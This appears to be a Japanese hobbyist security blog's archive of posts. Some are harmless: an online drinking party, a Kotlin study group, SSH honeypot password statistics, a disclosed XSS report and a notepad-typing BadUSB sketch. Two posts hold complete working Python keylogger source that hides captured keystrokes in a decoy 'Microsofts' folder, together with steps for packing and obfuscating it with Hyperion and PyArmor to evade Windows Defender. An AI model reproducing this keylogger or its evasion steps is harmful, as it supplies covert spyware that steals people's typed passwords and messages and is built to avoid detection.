#!

路上に就職!

オンライン飲み会を実施してみて

以前同じ会社に勤めていた友人たちと飲もうと思ったのですが
新型コロナウイルスがヤバイのでオンライン飲み会を実施してみました。

※飲み会がお開きになってすぐに書いているので以下の文章は酔って書いています。

最初はZoomを使おうと思っていたのですが
環境は友人に相談したところDiscordがいいと言われたのでDiscordにしました。
Discordを選択した理由としては

  • Skypeだと音声の質が悪い
  • Zoomだと無料版を使うと40分の制限がある
  • ゲームのVCによく利用されるから質がいいはず

当日、Discord素人の僕は友人にグループを作ってもらいボイスチャンネルで開きました。

メリット

  • 集合時間に遅れないしお店を探さなくて済む
  • 閉店や飲み放題とかないので時間を気にしなくて飲める
  • 周りが静かで話しやすい
  • URLや画像をすぐに共有できる

デメリット

  • 終わりが来ないのでいつまでも話してしまう ※切り上げが難しい
  • 料理が貧相 ※当日のつまみはポテチだけ
  • オンラインなのでウェーイみたいな楽しみ方はできない
  • 3人以上になった場合、別々の話をすることができない

感想

いつものメンバーと飲む酒はクソ美味いし最高でした。僕は喫煙者なのですが
タバコが嫌いな人がいないか気にしなくていいので楽です。ただ、美味いつまみは出てこないので
料理を楽しみながら飲みたい人には向かないかもしれません。
あと、飲み放題とか区切りがないので飲む時間をキメて実施したほうがいいかもしれません。
僕はビデオ通話だと緊張するタイプなのですが次回はビデオ通話をしながら飲んでみたいと思います。

早く新型コロナウイルス収まってくれねーかな

おわり

前回作成したキーロガーを少し解析しづらくしてみる。

前回、実験用にキーロガーを書き直したのでそのキーロガーを使用し少し解析しづらくしてみようと思います。

0x6d61.hateblo.jp

実験1 Hyperionを使用する。

Hyperionとは対象のPEファイルを暗号化し実行時に復号し実行する。パッカーらしいです。
下記のリンクからHyperionのコードをダウンロードします。

http://nullsecurity.net/tools/binary.html

インストール

unzip Hyperion-2.2.zip
cd  Hyperion-2.2
sudo apt install i686-w64-mingw32-gcc

zipを解答しmingw-gccをインストールします。
次にMakefileコンパイラの項目を書き換えます。

CC = gcc
↓
CC = i686-w64-mingw32-gcc

makeをするとhyperion.exeが同じディレクトリに出来上がってると思います。
実行方法は暗号化したいファイルと暗号化したファイルを指定するだけです。

hyperion.exe <暗号化したいPEファイル> <暗号化したPEファイル>  

では実際に使用してみます。

Z:\Downloads\Hyperion-2.2>hyperion.exe -v dist\basickeylogger.exe C:\users\user\Desktop\basickeylogger2.exe

 -------------------------------
| Stage 1: Analyzing input file |
 -------------------------------

Opening dist\basickeylogger.exe
Successfully copied file to memory location: 0xb65020
Found valid MZ signature
Found pointer to PE Header: 0x108
Found valid PE signature
Found 64 bit binary
Image base is 0x140000000
Image size is 0x100056000

 -------------------------------
| Stage 2: Generating ASM files |
 -------------------------------

Input file size + Checksum: 0x5648fa
Rounded up to a multiple of key size: 0x564900
INFILE_SIZE equ 0x564900
 written to Src\Container\64\infile_size.inc
Generated checksum: 0x2b0a22ef
Generated Encryption Key:  0x2 0x0 0x1 0x1 0x3 0x3
 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
 Src\Container\64\infile_array.inc
IMAGE_BASE equ 0x140000000
 written to Src\Container\64\image_base.inc
IMAGE_SIZE equ 0x56000
 written to Src\Container\64\image_size.inc
REAL_KEY_SIZE equ 0x6
 written to Src\Container\64\key_size.inc
REAL_KEY_RANGE equ 0x4
 written to Src\Container\64\key_size.inc
include 'logfile_disable.asm'
 written to Src\Container\64\logfile_select.asm
include '..\..\Payloads\Aes\64\aes.inc'
 written to Src\Container\64\decryption_payload.asm
include '..\..\Payloads\Aes\64\aes.asm'
 written to Src\Container\64\decryption_payload.asm
include '..\..\Payloads\Aes\64\decryptexecutable.asm'
 written to Src\Container\64\decryption_payload.asm

 --------------------------------
| Stage 3: Generating Executable |
 --------------------------------

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\Container\64\main.asm C:\users\user\Desktop\basickeylogger2.exe
FASM Working Directory: Z:\Downloads\Hyperion-2.2
flat assembler  version 1.71.54  (1048576 kilobytes memory)
6 passes, 6.3 seconds, 5676544 bytes.

Done :-)

Z:\Downloads\Hyperion-2.2>

実行して暗号化されたPEファイルを作成したところWindows Defenderに検知されてしまいました。

f:id:x6d61:20200209170409p:plain
Windows Defenderに検知されたところ
少し解析しづらくするはずが検知されてしまったので実験失敗です。次の実験をしてみます。

実験2 PyArmorを使用してPythonコードそのものを難読化する。

前回の実験ではPyinstallerで実行ファイル化したものを暗号化しましたが今回はソースコードそのものを難読化してみたいと思います。
PyArmorのインストールは簡単でpipでパッケージを追加するだけです。
pip install pyarmor
難読化するにはpyarmor o pyファイルとコマンドを実行すれば難読化することができます。

mkdir work
cd work
cp basickeylogger.py .
pyarmor o basickeylogger.py

pyarmorを実行したあとにdistディレクトリが作成されるのでPyinstallerで実行ファイル化すれば難読化を施したキーロガーを作成することができます。

次回はpeCloakを試してみたいと思います。

Black Hat Python のキーロガーをPyHookedで書き直した。

Black Hat PythonPythonキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。

from pyhooked import Hook,KeyboardEvent
import sys
import os
import datetime
from ctypes import *

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
window_current = None

date = datetime.date.today()
file_name = date.strftime('%Y_%m_%d')

save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) 
save_file = save_directory + '//' + '.' + file_name + '.txt'

input_key = []

def setting_keylogger():
    if not os.path.exists(save_directory):
        os.mkdir(save_directory)

def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer(512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')

def event(args):
    global window_current
    if isinstance(args,KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                    input_key.append(now_window+"\n")
                    window_current = now_window
            if args.current_key not in ['Left','Up','Right','Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file,'a') as f:
                    f.write(''.join(input_key)+'\n')
                input_key.clear()

setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()

C:\Users\username\AppData\Local にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで 押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに 動いてしまった。
以下はVirusTotalにアップロードした結果です。

f:id:x6d61:20200206230234p:plain
VirusTotal

Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。

SSHに来る辞書攻撃で使われる単語を調べてみた

一週間ほどsshのログインを模倣するPythonスクリプトを動かして調査しました。 期間は2020/01/12~2020/01/19からで攻撃が来た回数は14305回です。

  1. admin
  2. !@
  3. root
  4. p@ssw0rd
  5. password
  6. oracle
  7. alpine
  8. 987654321
  9. 654321

一番多かったパスワードはadminです。多分、パスワードとユーザ名が同じジョーアカウントを狙いに来ているんだと思います。 気になるのはalpineでこちらはiPhoneを初期ユーザーがmobile:alpineで脱獄してsshdをインストールしたけどパスワードを変更してない人を
狙っていると思います。以下のログが残っていました。

INFO:Access account username:root password:alpine
INFO:Access account username:mobile password:alpine
  1. root
  2. ec2-user
  3. admin
  4. fake
  5. oracle
  6. mysql
  7. mobile
  8. admina

rootユーザーでの攻撃が14281回来ていて断トツで1位でした。fakeで攻撃が来ているのが気になります。

一番攻撃が多かった国は中国でした。二位はアメリカ。三位がイギリスでした。
1. 中国
1. アメリ
1. イギリス
1. フランス
1. ベトナム

以下で不正アクセスを試みたパスワード一覧を公開しています。

不正アクセスを試みたパスワード一覧 · GitHub

JavaDo Kotlin入門に参加してきた。

 久しぶりに勉強会へ行ってきました。ここ半年、土日はすべてゴロゴロして 外ににでてなかったので かなり久しぶりに参加しました。
参加した勉強会は Kotlinらしい書き方をモブプログラミングで学ぼう!です。

javado.connpass.com

Kotlin入門編:解説等

最初の発表は watanave さんのKotlin入門編です。
以下のテキストを使用し基本的な言語仕様などを学びました。言語仕様的には最近のモダンな言語に 通じるところがあり 特にわからないことがありませんでした。ですがJavaを今までやったことがないのであまり有り難みがわからず…
Javaを触ってきた他の方はかなり感動していました。

個人的に面白かった話はnull許容型と非null許容型の部分でnullかもしれないオブジェクトから
toInt()のようなメソッドを呼び出すときに test?.toInt()という糖衣構文を使うとnullだった場合
nullが返りnullじゃない場合は呼び出せる、安全呼び出しという機能がある話です。
またエルビス演算子(?:)というnullだった場合、別の値を返す演算子にも驚きました。
ただ一番興味があった関数部分がサラッと終わってしまったので少し残念です。

qiita.com

Kotlin練習編:モブプログラミングの方法

次は先程のKotlinの説明をもとに実際にプログラミングをする時間でしたが 普通にプログラミングするのではなくモブプログラミングという手法を使いました。 実際にやる前に山川さんからモブプログラミングの説明がありました。 モブプログラミングとはドライバーとモブに別れ1つのマシンを使いながら目標に向かってみんなでプログラミングします。 モブはモブ同士で話し合い合意が取れた意見をドライバーに支持してコードを書きます。
ドライバーはモブの指示なしで動いてはいけません。ドライバは時間を決めて交代し適度に休憩するのが良いらしいです。
目標を達成するとハイタッチするところが一番重要です!!

僕はここでダンスを踊りました。

実際にモブプログラミングはかなり盛り上がりました。普段の自分だと思いつかない
実装が提案されたり楽しかったです。ドライバーはUSキーボードに慣れておらず別の意味で
苦戦しました。これは会社でも導入してみたいです。

感想とか

久しぶりに勉強会へ参加してめちゃくちゃ刺激をうけました。
やっぱりハンズオンは楽しいですね!Kotlinは競プロとかで使用してみようと思います。
自分もなんだか勉強会で登壇したくなってきました。絶対にスライドづくり嫌がりそうだけど

ツイキャスでxss発見した。

ツイキャスxss発見した。

 

http://twitcasting.tv/rankingindex.php のgenreパラメータに反射型xss脆弱性があった。

f:id:x6d61:20170323201349p:plain

ツイキャスに直接メールしたら返信が来てから二日ぐらいで修正された。

脆弱性公表も了承済み

 

終わり

arudino互換ボードでBadusbごっこ

BadUSBとはBlack Hat 2014 に発表された攻撃手法。USBメモリファームウェアを書き換えてHIDデバイスとして認識させ、キーの自動入力を行う。本家は特定のUSBフラッシュコントローラのみコードしか公開していない。また、手間がものすごくかかる…(基盤をショートさせたり) Hak5が販売しているUSB Rubber Duckyというハードウェアがあるが一つ40$くらいする。そして、値段はお手軽ではない。。。 そこでHID USB キーボードとして認識させることができるArduino互換のボードを使用して簡単に実験してみる。

今回、使用するのは amazonから購入した ATmega32U4 を搭載したボード。

ダイレクトUSB 超小型 ATmega32U4ボード Arduino Leonardo互換

早速、スケッチを描いてみる。

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  delay(3500);
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('R');
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print("notepad");
  delay(200);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  Keyboard.print("Hello world!!");
  Keyboard.end(); 
}

void loop() {
  // put your main code here, to run repeatedly:

}

上記のスケッチを簡単に説明すると、まずdelay()でUSBを挿してから3.5秒間待機しwindowsキーとRを同時に押す。 notepadと入力してenter、メモ帳が起動したらhello worldと入力する単純なものになっている。

f:id:x6d61:20170115004110p:plain

→を押してボードに書き込む。実際に書き込む時はシリアルポートが選択されているか確認した方がいい。(そのミスで何回も書き込みに失敗した。
今回はメモ帳に文字を入力するだけだったがmetasploitのpayloadやHak5の動画であったreverse shellなどを実行させても良いと思う。素晴らしいアイディアを考えた人はぜひ教えて欲しい。また、自分の所有していないUSBメモリをむやみに接続するのはやめよう!!